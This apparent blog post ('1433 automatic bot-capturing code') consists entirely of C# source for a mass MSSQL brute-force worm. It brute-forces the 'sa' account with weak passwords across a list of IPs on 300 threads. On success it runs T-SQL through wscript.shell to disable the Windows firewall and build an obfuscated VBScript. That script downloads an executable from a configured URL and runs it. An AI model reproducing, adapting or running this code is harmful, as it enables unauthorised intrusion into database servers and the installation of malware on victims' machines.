C#1433全自动抓鸡代码片段-CSDN博客

namespace WMIScanner
{
using System;
using System.Collections;
using System.Data.SqlClient;
using System.IO;
using System.Threading;
using System.Windows.Forms;

public class ScnClass
  {
private string cmdLine = "";
private int inNum = 0;
private ArrayList ips = new ArrayList();
private ArrayList rips = new ArrayList();
private Thread[] threads = new Thread[300];

private void CheckRemoteComputer()
    {
int num = 5;
int num2 = 5;
string[] strArray = new string[num];
string[] strArray2 = new string[num2];
      strArray[0] = "sa";
      strArray[1] = "sa";
      strArray[2] = "sa";
      strArray[3] = "sa";
      strArray[4] = "sa";
      strArray2[0] = "";
      strArray2[1] = "sa";
      strArray2[2] = "123";
      strArray2[3] = "123456";
      strArray2[4] = "password";
int num3 = 0;
int num4 = 0;
int num5 = 0;
while ((num3 == 0) && (num4 < 2))
      {
if (num5 == num2)
        {
          num5 = 0;
          num4++;
        }
try
        {
string str = this.ips.get_Item(int.Parse(Thread.get_CurrentThread().get_Name().ToString())).ToString();
for (int j = 0; j < 5; j++)
          {
            SqlConnection connection = new SqlConnection("server=" + str + ";uid=" + strArray[j] + ";pwd=" + strArray2[j] + ";database=Master");
            SqlCommand command = new SqlCommand(this.cmdLine, connection);
try
            {
              WMIScanner.ScnClass class2;
              connection.Open();
              Console.Write(str + " SQL Password is null，Scanned IP like these：" + ((this.rips.get_Count() + 1)).ToString() + "，Sending Command Now...\r\n");
try
              {
                command.ExecuteNonQuery();
lock ((class2 = this))
                {
this.inNum++;
                  Console.Write("***" + str + "Sending Command Completed，Completed number：" + this.inNum.ToString() + " \r\n");
                }
              }
catch (Exception exception)
              {
                Console.Write(str + "Sending Command failed：" + exception.get_Message().ToString() + "\r\n");
              }
lock ((class2 = this))
              {
this.rips.Add(str);
              }
            }
catch (Exception exception2)
            {
              Console.Write(str + " Failure to connect：" + exception2.get_Message().ToString() + "\r\n");
              num5++;
            }
            num3 = 1;
          }
continue;
        }
catch
        {
continue;
        }
      }
for (int i = 0; i < this.threads.Length; i++)
      {
if ((this.threads != null) && (this.threads.get_Name().ToLower() == Thread.get_CurrentThread().get_Name().ToLower()))
        {
this.threads = null;
break;
        }
      }
      Thread.get_CurrentThread().Abort();
    }

private int CheckTempThreadIndex()
    {
for (int i = 0; i < this.threads.Length; i++)
      {
if (this.threads == null)
        {
return i;
        }
      }
return -1;
    }

private void ReadIPS()
    {
      StreamReader reader = File.OpenText(Application.get_StartupPath() + @"\ips.txt");
while (reader.Peek() != -1)
      {
this.ips.Add(reader.ReadLine());
      }
      reader.Close();
    }

private void ScannIPS()
    {
int num = 0;
int num2 = 0;
while (num2 < this.ips.get_Count())
      {
try
        {
int index = this.CheckTempThreadIndex();
if (index >= 0)
          {
this.threads[index] = new Thread(new ThreadStart(this, this.CheckRemoteComputer));
this.threads[index].set_IsBackground(true);
this.threads[index].set_Name(num2.ToString());
this.threads[index].Start();
            num2++;
            num = 0;
          }
else
          {
            num += 100;
            Thread.Sleep(300);
          }
continue;
        }
catch
        {
          num = 0;
continue;
        }
      }
      num = 0;
bool flag = false;
while (!flag)
      {
        Thread.Sleep(0x3e8);
        flag = true;
for (int i = 0; i < this.threads.Length; i++)
        {
if (this.threads != null)
          {
            flag = false;
            num += 0x3e8;
break;
          }
        }
if (num >= 0xea60)
        {
for (int j = 0; j < this.threads.Length; j++)
          {
if (this.threads[j] != null)
            {
try
              {
this.threads[j].Abort();
              }
catch
              {
              }
this.threads[j] = null;
            }
          }
          num = 0;
return;
        }
      }
    }

public void Task()
    {
string str = File.OpenText(Application.get_StartupPath() + @"\url.sys").ReadLine();
      Console.Write("Reading Command....\r\n");
this.cmdLine = this.cmdLine + "declare @cmd INT;";
this.cmdLine = this.cmdLine + "exec sp_oacreate 'wscript.shell',@cmd output;";
this.cmdLine = this.cmdLine + "exec sp_oamethod @cmd,'run',null,'cmd /c net1 stop sharedaccess";
this.cmdLine = this.cmdLine + "&echo on error resume next>>run.vbs";
this.cmdLine = this.cmdLine + "&echo set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108))>run.vbs";
this.cmdLine = this.cmdLine + "&echo Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80))>>run.vbs";
this.cmdLine = this.cmdLine + "&echo xPost.Open Chr(71)+Chr(69)+Chr(84)," + str + ",Chr(48)>>run.vbs";
this.cmdLine = this.cmdLine + "&echo xPost.Send()>>run.vbs";
this.cmdLine = this.cmdLine + "&echo Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109))>>run.vbs";
this.cmdLine = this.cmdLine + "&echo sGet.Mode = Chr(51)>>run.vbs";
this.cmdLine = this.cmdLine + "&echo sGet.Type = Chr(49)>>run.vbs";
this.cmdLine = this.cmdLine + "&echo sGet.Open()>>run.vbs";
this.cmdLine = this.cmdLine + "&echo sGet.Write(xPost.responseBody)>>run.vbs";
this.cmdLine = this.cmdLine + "&echo sGet.SaveToFile Chr(50)+Chr(48)+Chr(48)+Chr(56)+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50)>>run.vbs";
this.cmdLine = this.cmdLine + "&echo oshell.run Chr(50)+Chr(48)+Chr(48)+Chr(56)+Chr(46)+Chr(101)+Chr(120)+Chr(101)>>run.vbs";
this.cmdLine = this.cmdLine + "&cscript run.vbs','0','true'";
      Console.Write("Scanning weak passwords...\r\n");
if (File.Exists(Application.get_StartupPath() + @"\ips.txt"))
      {
        Console.Write("Read IP Addresses...\r\n");
this.ReadIPS();
if (this.ips.get_Count() > 0)
        {
          Console.Write("Scan Now....\r\n");
this.ScannIPS();
          Console.Write("IP Paragraph Scan Finish...\r\n");
        }
      }
    }
  }
}